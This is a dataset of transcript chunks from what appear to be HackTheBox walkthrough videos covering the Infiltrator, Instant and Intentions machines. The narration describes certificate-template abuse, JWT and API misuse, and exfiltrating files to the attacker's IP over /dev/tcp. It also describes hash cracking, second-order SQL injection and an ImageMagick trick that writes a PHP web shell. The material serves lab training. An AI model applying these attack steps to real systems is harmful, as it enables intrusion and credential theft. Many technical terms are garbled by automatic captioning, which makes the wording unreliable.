text stringlengths 4 952 | start float64 0 9.37k | duration float64 0 0 | meta dict |
|---|---|---|---|
Don't want the JSON. So you specify the template and then I think the UPN and that's all we need. So the user principle name will do administrator atinfiltrator.htb. | 6,535.04 | 0 | {
"video_id": "YD8uatymgLk",
"title": "HackTheBox - Infiltrator",
"url": "https://www.youtube.com/watch?v=YD8uatymgLk"
} |
It's going to request a certificate. And if this fails, I'm going to rerun the last step because it's always possible. | 6,547.52 | 0 | {
"video_id": "YD8uatymgLk",
"title": "HackTheBox - Infiltrator",
"url": "https://www.youtube.com/watch?v=YD8uatymgLk"
} |
The cleanup um reverted the change we had done. But I think I was quick enough. Um hopefully I was uh timed out. | 6,552.719 | 0 | {
"video_id": "YD8uatymgLk",
"title": "HackTheBox - Infiltrator",
"url": "https://www.youtube.com/watch?v=YD8uatymgLk"
} |
That is not what I expected. Ping 10 10 11 31. | 6,562.08 | 0 | {
"video_id": "YD8uatymgLk",
"title": "HackTheBox - Infiltrator",
"url": "https://www.youtube.com/watch?v=YD8uatymgLk"
} |
Okay. Run this again. Okay, it worked. I don't know what exactly happened for it to time out, but we have a certificate here. So now we should be able to do certify off bfx administrator specify the DC IP um pfx. There we go. Should get a TGT and then we'll get the hash for administrator and then we should be able to j... | 6,567.199 | 0 | {
"video_id": "YD8uatymgLk",
"title": "HackTheBox - Infiltrator",
"url": "https://www.youtube.com/watch?v=YD8uatymgLk"
} |
I accidentally put the a there. Let's see. Is it going to authenticate? | 6,633.28 | 0 | {
"video_id": "YD8uatymgLk",
"title": "HackTheBox - Infiltrator",
"url": "https://www.youtube.com/watch?v=YD8uatymgLk"
} |
No route to host. Try it again. Something must be going on with my Oh, I have 131. There we go. Uploading. If the shell doesn't work, I'm going to assume defender's on. Then we'd use like SMB exec. But it came back. So we can do cd users administrator desktop. And this box is finally done. | 6,639.28 | 0 | {
"video_id": "YD8uatymgLk",
"title": "HackTheBox - Infiltrator",
"url": "https://www.youtube.com/watch?v=YD8uatymgLk"
} |
So hope you guys enjoyed that. Take care and I will see you all next time. Oh wait. Um I kind of forgot. There was something we wanted to show. Um let's close out of this. Do we have ent sector here? Uh, that's not it. Where was that? Here. Yeah. So, I'm going to go back here. | 6,664 | 0 | {
"video_id": "YD8uatymgLk",
"title": "HackTheBox - Infiltrator",
"url": "https://www.youtube.com/watch?v=YD8uatymgLk"
} |
Um, dash f. There we go. We can do all here. And then I'm just going to show you all the objects this actually collects. Um, and then we'll wrap up the video because there's a lot of data in the nds. So, there we go. It's now extracted. Let's do temp and dissector out. | 6,689.679 | 0 | {
"video_id": "YD8uatymgLk",
"title": "HackTheBox - Infiltrator",
"url": "https://www.youtube.com/watch?v=YD8uatymgLk"
} |
And we have a lot. So, um, pretty much the entire active directory domain in like JSON files, right? So, if we want, we can like look at the DNS node jq dot. Not sure exactly what all this data is good for, but if you want data out of nds.dit, I would highly recommend this tool. Most likely you'll only want the users, ... | 6,712.32 | 0 | {
"video_id": "YD8uatymgLk",
"title": "HackTheBox - Infiltrator",
"url": "https://www.youtube.com/watch?v=YD8uatymgLk"
} |
what's going on YouTube this is IPC and today we'll be doing instant from hack the box which is a relatively straightforward machine that starts with downloading an Android application off a web server and we can decompile that with Jad X and the first thing I normally look for when decompiling an app are what endpoint... | 0.16 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
encryption on the configuration and obtain the root password so with that being said let's just jump in as always we're can start off with an end map so- for default scripts SV enumerate versions dvv for double verost this gives us things like the TTL OA output all formats put in the end map directory and call it insta... | 45.84 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
having like parentheses Ubuntu and it doesn't here actually wait a second the server header is having it so n map's just not showing it I don't know exactly what's going on there but disregard that so we don't really have much information to go on so I'm just going to go to the website and see what we have and we get a... | 100.24 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
and we get a different error message which is interesting so downloads and download so I think download this is probably coming from Apache just because we see Apache 2458 here and then downloads this is just 4 or4 not found I'm guessing this is going to be like python flask or something like that but it's interesting ... | 152.28 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
is um maybe once we get a shell in the Box we can take a look but since we have the APK let's just go ahead and look at it so the first thing I want to do is run jet X against it uh because I want to see if I can decompile it so let's make directory called I guess out and I'm going to do jet x and- d the odd thing with... | 220.08 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
permission here if you installed it with apt if you just did a get clone off jadex or downloaded the release and copied it to somewhere where you have right access to you may not have to do all of this but if you use apt um always use absolute pads so there we go we have it now decompiled if we open this up in VSS code... | 277.32 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
case insensitive I'm going to do star like this and let's see we could also say um a to be 07 and then special characters there we go um kind of just cleans up the output a little bit so we have my wallet V1 and Swagger so let's take a look at these real quick so pseudo V Etsy host and then we can add my wallet and the... | 334.36 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
not um require authentication however there is an admin to create a admin user so I'm guessing this won't work but I guess we can try it out uh email we do root ic. Ro password of password pin we'll do 1 2 3 4 username we'll do IC we can execute this and let's see pin must be five digits so we'll do 1 2 3 4 five there ... | 401.8 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
there's probably an administrator Ro as well he has my wallet ID but let's go ahead and take a look at the source code of the application so I'm going to go in sources and it's probably to be C there we go instant Labs these are all just like dependencies of what it uses right I want to get into the custom source code ... | 486.4 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
um hold on one second I just want to see what year that is the easiest way let's just go to JWT doio paste the token in and let's see expiration if we hover over this we can see it expires in the year 3023 so almost 1 th years into the future wow that is I don't even know you could go that far with these so let's go ah... | 551.519 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
so we can make sure this works and we have it and let's move this over to burp Suite because the repeater window is just more natural to me so we can execute this send it over to repeater run and there we go we can see what it looks like and because we logged in on Swagger we have the uh token already um inputed for us... | 618.64 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
so let's do um CD do dot V it's probably going to be this user right Shiro Shiro hi G that is it pem paste this and hold on did I copy everything I'm going to copy this whole Json real quick because cuz if I don't then I probably have to like manually format this key and I don't want to do that so let's pipe it over to... | 690.8 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
because whoops like that there we go because if I just wrote it to this file because this cat opened it and I tried to write it it would just be an empty file it's really weird but you only make that mistake once right so if we did CP this to Temp we cat Temp and then direct it over to Temp now temp is blank so that's ... | 778.48 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
because this was going in home the username and that but let's just pretend we don't know exactly where the web server is so my first bet is always look at ver dubdub duub and if we do that we just have HTML this going to be the default page and we have downloads there where instant. APK is so there is actually no like... | 839.44 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
looking at databases first um so the next thing is go to Etsy Apache 2 and then let's go to sites enabled and we can take a look and exactly how this is configured so let's do a g-v for uh the comment and we can see exactly how this works so this is just directness to ver dubdub duub HTML that's not that important let'... | 888.6 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
place so let's go into this directory now and then let's go into in well I guess we can look at my environment see exactly what this is this is a python environment uh C the VM nothing special there let's go into instant API is that where both of them were those are just environments okay and we have instance and my wa... | 960.759 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
database um so let's go ahead and download this so I'm going to C this we'll pipe it over to Dev TCP 101048 port 90001 and then I'm going to listen on 90001 and direct it to instant. DB send that and then let's just do SQL light 3 instant. dump and see if we have any hashes anywhere there we go we have uh PB KF df2 sha... | 1,032.6 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
jsonify method pbkdf2 so generate password hash this is a work Zug function if memory serves um if we looked at head let's just GP this on serve yep work Zug security generate password hash so if we tried to crack this with hashcat we'll find there is no work Zug mode um if we Google hashcat crack work Zug we'll get to... | 1,128.12 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
that's the standard format and I probably should like use this arv and stuff but I'm not I'm going to be lazy we're just going to cat has. text we're going to copy these and then I'm going to say hashes is equal to paste all of them and we'll put this like that okay I'm going to leave the user names and we will just sp... | 1,210.36 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
going to go over into the Kraken which is just another box on my network work you can run hashcat anywhere you want I recommend not running in VM I'm going to do VES SL we'll call it instant dot I guess we'll do work Zug paste all this and thenat Bin the file name opt word list rocku and let's see if it detects anythin... | 1,315.2 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
we try to decode it and we see a bunch of gibberish so normally I do like xxd we still get nothing um we could maybe like do we have the entropy command we don't maybe it's just ENT uh don't have that so let's just get this sessions back up over to me so we'll do Dev TCP 10 1048 and then let's say nvmp sessions. 91 lik... | 1,383.799 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
CNET and it becomes a bit harder to run on Linux right so this is why I like this solar party cracker so let's just go ahead and clone this so we can do a get clone solo party cracker we try to run it we need a library so let's do python 3-m virtual environment create one and then we will source. VM bin activate and th... | 1,465.6 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
text install all the libraries and then try to run it again and there we go so we got to specify the word list so I'm just going to do users share word list and then Rock you. | 1,502.919 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
text and then the sessions file so I'm just going to give it the sessions. and it's going to attempt to crack and there we go it says decrypted file is saved in solop party sessions. | 1,520.72 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
text and the password was arella and if we look at hashcat we have it cracking this password which was arella so just in case like you're I think the um if we go back here the solar party decrypt the one written inet I don't think it accepted a word list so you had to crack the work Zug in order to do it or Loop it or ... | 1,534.919 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
of this so let's do SSH root at instant. | 1,606.039 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
htb and I'm going to put that password in I always like uh pasting My Clipboard after I put it just to uh make sure like I pasted what I thought I did and we get invalid password if we do su put in this password we get root and why is that because it's probably SSH is prohibiting root login right so if we cat SSH sshd ... | 1,611.96 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
definitely it so s was configured not to allow root with the password and that's why we had to use Su but that is going to be the Box hope you guys enjoyed it take care and I will see you all next time | 1,688.64 | 0 | {
"video_id": "Oyh84PHjzsQ",
"title": "HackTheBox - Instant",
"url": "https://www.youtube.com/watch?v=Oyh84PHjzsQ"
} |
what's going on YouTube this is ipack I'm doing intentions from hack the box which I had a lot of fun doing this box there are a lot of nice challenging things to do it starts off with the second order SQL injection something I don't see that much but I've definitely seen it happen in the real world and it's hard to au... | 0.199 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
never exploited before it was pretty fun and then you get a shell to the box and exploit a capability binary like a set uid binary where you can leak one bite of a file at a time so it's a pretty fun coding challenge so with all that being said let's just jump in as always we start off with an end map so- SCC for defau... | 43.52 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
take a look at the web page itself so going to 1010 111220 we get the intentions image gallery where we can log in and register and right the bat when I click these I notice there's no like um new page being loaded right if I reload this page with the network tab Open click register log in we just see um it instant and... | 93.56 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
like right because the request can turn out a lot of information and right off the bat if you look at this it doesn't look like this is leaking that much information right it's just an API login however they're both being um xsrf token in the header and cookie this is very much a larel thing I don't know of many other ... | 153.16 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
probably try a lot more like type juggling type of attacks if I get stuck um just because that is a common thing on LEL API servers but right now we're still in the enumeration phase so send this over to repeater we do get login error so let's try registering an account and seeing what we get so if I go to register let... | 228.36 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
mode D HTTP 10101 to20 uh word list op SEC list Discovery web content ra small words. text and - o this would be go buster. | 303.88 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
root so we have that running and then we can also do the same exact thing but we're going to specify sljs and then the extension JS and we'll call this Guster DJs so now we're looking for all JavaScript files as well um and this will come in handy if we ever get hung we can take a look back at there right so I always l... | 320.56 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
am going to try the um ssti payload I always like using just to see if this does anything so I'm going to copy this and this is just like an ssti that will crash a lot of um various things so if I just put it here submit preferences updated go into feed and it looks like we get nothing so what I'm going to do is let's ... | 394.319 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
just creating errors on the page until I get to something that starts standing out so we send this status success server error and I'm going to delete a bunch of stuff so my genres is on the same field I can delete this from the header I need content type that's one of the important ones we don't need that probably don... | 461.039 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
this uh we don't get anything um was it animals there we go so I always like seeing a success here with some data when I play for SQL injection so I'm going to do uh single quote we get server error I'm going to add a comment afterwards still get a server error if I do animals with a comment we get success nothing so a... | 525.399 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
build schema so this just lets us play with um SQL commands right we can do select star from docs run SQL and we get all the data so let's make this database a little bit more like what a Target is with genres so I'm just going to change content to genre and then we can put some um examples so like please example we'll... | 614.76 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
whatever um I guess we need to put wild cards here because I did not find it I think wild Cod is percent there we go so it could do that and then always always do a bunch of or likes whatever now MySQL also has a find in set functionality so if we look at it it's find and set and then the query and this so if we go bac... | 708 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
we're like figuring out what the query looks like because we're passing the entire thing here so if I do build schema we can say um is on this side and then we give it the multiple things so animals or animal run I wonder if we have to put this in quotes like that there we go and we can give it multiple so I can do ple... | 795.32 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
another just being the hashtag if we just do that we get the data back so the issue what we had going on is space is a bad character and since space is a bad character we can't use -- space Dash and one of the odd things is um we can't use Das Das comment Dash which is weird because the comments and any part of the SQL... | 882.32 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
a bad character and we found that out when we were doing the comment so I'm going to replace all the spaces with comments and then we go back here and we get a query back so we know there's at least one column we assume there were six so if I do six and we get data back it works but it does not we get server error so l... | 957.8 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
three I don't see oh URL is used twice so it does return the ID back but URL is um it just does storage and then file we can two is used twice here and then the time for five is right there so now that everything is making sense we can go and um start extracting the database so I'm going to put everything in the file s... | 1,035.4 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
replace all the spaces which is annoying okay we run through and we can see two things and if you're curious exactly what's happening because I just realized I didn't fully explain it it's a second order SQL injection we're putting tent information in the database and then when the database pulls that information and u... | 1,115.96 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
information schema. columns then where the table schema is equal to intentions and we could also do like uh to get rid of a potential bad character whenever I can change between like an asky character or a special character I always favor the asky character okay so we send this query run it server error we screwed up s... | 1,188.12 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
table I'll call it I guess put that in and then I'm going to replace every comma with a line break on that and we have the table structure so I probably want to get um users's name email password and admin so let's do that in a query I'm going to call this dump um table struct so we save that so we have it in notes lat... | 1,252.6 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
password from users may we do intentions. users let's just add it uh repeater this still an error we have a typer somewhere I would bet let's just say group concat admin go back here server error okay where is this we have the union select one select group concat admen from is it just user no it's users huh select oh I... | 1,344.039 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
want to exploit this SQL injection manually SQL map does support second order injection so to do it we just have to grab both requests so I'm going to go back to my profile we're going to set burp suite and we're going to turn intercept on click update to capture this request and then we can just save the item to a fil... | 1,521.84 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
saw the SQL injection right the other things is just the page page that gets redirected to eventually land on this so let's copy this to file and we can say um get feed. | 1,584.12 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
request and now we can SQL map so we can do SQL m-r and then we want to update the request and then the second parameter is going to be a second request and this one is uh what do we call it um there's my gobster window we called it get feed I don't know why I did a capital G there that threw me off and to speed things... | 1,598.36 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
I believe we'll see the profile be changing to various payloads that SQL map is using so this is one of the ones that it attempted to use going refresh and see it will keep on changing I was trying a union select right there and let's see it found Boolean blind and time base blind it didn't actually find Union injectio... | 1,681.64 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
very end and now that SQL map is done when we added the level we can see it has now detected Union query I'm not sure exactly what the level changed what payload it now used that it allowed it um you can see this was the query here I actually took out the risk when I added flush session so you don't need risk you just ... | 1,772.44 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
could now add the um D- dump flag and it will start dumping all the data out of this and oh man I left the flush session so it's going to take a while to run um because it's going to redetect all the queries but that is going to be how to do this with SQL map hope you guys enjoyed it now let's get back to the video the... | 1,831.399 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
JS and let's g-v for 403 and we do have an admin. JS functionality so let's go take a look at what admin. JS is so let's just go here I can see admin. JS it's JS admin okay proxy is on intercept refresh uh burp Suite let's disable that so we can capture JavaScript refresh go to repeater Tab and we can look at all of th... | 1,891 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
for/ API we can see the axios get so this is getting API V2 admin image so we could try making a request to that so if I go back to burp suite and let's just make a request to this and I'm guessing this is some authorization error or four4 not found was that a post axio get API V2 admin image and then an ID it's redire... | 1,983.6 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
these requests are probably the same is there any other API there's an admin users functionality so admin what was that yeah SL admin users and this redirects us so there's probably authentication required there and that's it for hits on/ API if I search for just API in general uh we have 18 matches if I add a space be... | 2,071.52 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
major passwords are no longer needed to be transmitted to the server in clear text they're hashing them so we don't have any links to the admin V2 login but I would bet um we can just do a post and to slv2 off login and when we do that we can air a message that says the hash field is required because we have email alre... | 2,143.48 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
so we do that let's go to the proxy intercept with burp Suite sign in and now we want to change this to be hash and this to be V2 and if you did that and did not get the request make sure your proxy settings or um this check boox is not enabled or you remve JS right here because by default you're not going oh no never ... | 2,234.8 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
weren't able to see so let's go to slash admin and now we get logged in and these are the messages that we saw from that JavaScript before by click on user users we have a list of all the users here no functionality really we can't do anything with them but that's what that admin users endpoint did if I go to images we... | 2,324.96 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
have a invalid file we also get it I was just enumerating the um error messages there because I wanted to see if it's a unknown file or bad image path right because if it's that unknown file here and it ended in. jpeg then we knew like your Etsy passwd request would have to end in JPEG but since bad image path is for b... | 2,392.56 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
name.jpg uh sure let's do interpreter. | 2,467.04 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
JPEG that is a JPEG and let's just see what it says do it still say bad image path or does it do something so it gives us the image back but there's not much we could do with it um let's see we did V test.jpg IPC was here bet image path so it actually has to be an image file I was hoping like if we gave it a text file ... | 2,476.319 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
of this but I highly recommend reading the whole thing but we'll summarize it up in just a minute let's see discovering okay here we go so one cool thing is right here is image Magic's path person in so it talks about using this to change the size and this is something unique to image magic I believe so you can enumera... | 2,560.48 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
have not actually done this so I don't know what I'm expecting https I wonder if I can do HTTP if I don't need s 10 10 14 8 8,000 because I don't feel like setting that up see I would need to um set up an SSL Handler to capture that and I don't feel like doing that right now so we will skip that but that is interesting... | 2,633.839 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
this could be anything you put into it so you could just put a shell into it and then if you had an include you can jump over to it but nowadays you don't need to upload files for an include you can just exploit it right away but um we don't have an include statement I'm just saying you can now predictably guess wherev... | 2,711.119 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
shell so let's go here and then rc2 the vid scheme what this is saying is we no longer have to Brute Force the/ PHP file like all before we're assuming we'd run this request 20,000 times so we have a realistic chance of guessing a file name on the server but the vid scheme allows for a wild card so if we have the scope... | 2,771.16 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
to since the boundary is ABC you do Dash Dash and then ABC and I think we could leave all this the same let's see I have the request in another thing so that's fine so this is going to write a shell that's PHP eval I don't want to do eval because eval is just going to execute PHP code I'm going to make it system so tha... | 2,838 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
change the genre back to travel then we make a request and that's not it maybe animal is it animal or animals there we go so we can get part of the file so we have storage animals I thought this would give us the full path public animals storage let's see how can we get the full path for this because that is the piece ... | 2,910.079 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
11220 shell. PHP file not found I'm going to send this request and we have bad image path that did not work refresh still file not found so we screwed something up if I get rid of path path is required so we'll put path back in I was pressing control Z I don't know was undoing is equal to what is it uh where' that page... | 3,006.319 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
JPEG file name does not seem to matter um oh there's a space there that looks like it did it um we have a bad gateway error but I think that is expected so what happened was when I copy and pasted it from uh the website there was a space here and it copied which broke the request so um I guess the RFC is line break lin... | 3,136.799 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
PHP so if we go shell. PHP we don't let's see is there a SL storage directory uh does not look like we have this file intentions could this potentially be a weird caching issue let me just send this to burp suite and we can test it intercept on so we definitely get file not found see change re Quest because it could be... | 3,175.72 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
PHP maybe we just can't write here and I don't think I have a typo unless it's intention and not intent itions we have it here ver HTML intentions Storage Public animals we could put in the animals directory because that's where images are and there's a higher chance of us being able to write to where an images and we ... | 3,247.48 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
PHP not found huh let's see is there anything we're doing wrong get rid of those spaces there see if I put the host could be a virtual host header no I am really not sure why this isn't working 10 10 11220 that is the right IP let's see let's just rename it to something else rce PHP nope I am drawing a blank while that... | 3,335.88 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
because the first one already took precedent right I can add a space here to break this completely again um maybe it cleaned up there so you can see I remove the space it works then I add that space back and it still didn't give me that error because this PHP file existed from the previous request so I'm guessing somet... | 3,476.079 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
the animals directory is storage animals so now I can put rc. | 3,576.16 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
PHP and now when I run this hopefully it's been long enough where it cleans it up file not found so I think I'm going to pause the video wait 10 minutes because I know that's what the Kon is for it to reset everything and then try again okay it's been 10 minutes and I'm actually going to just put this in the public dir... | 3,584.559 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
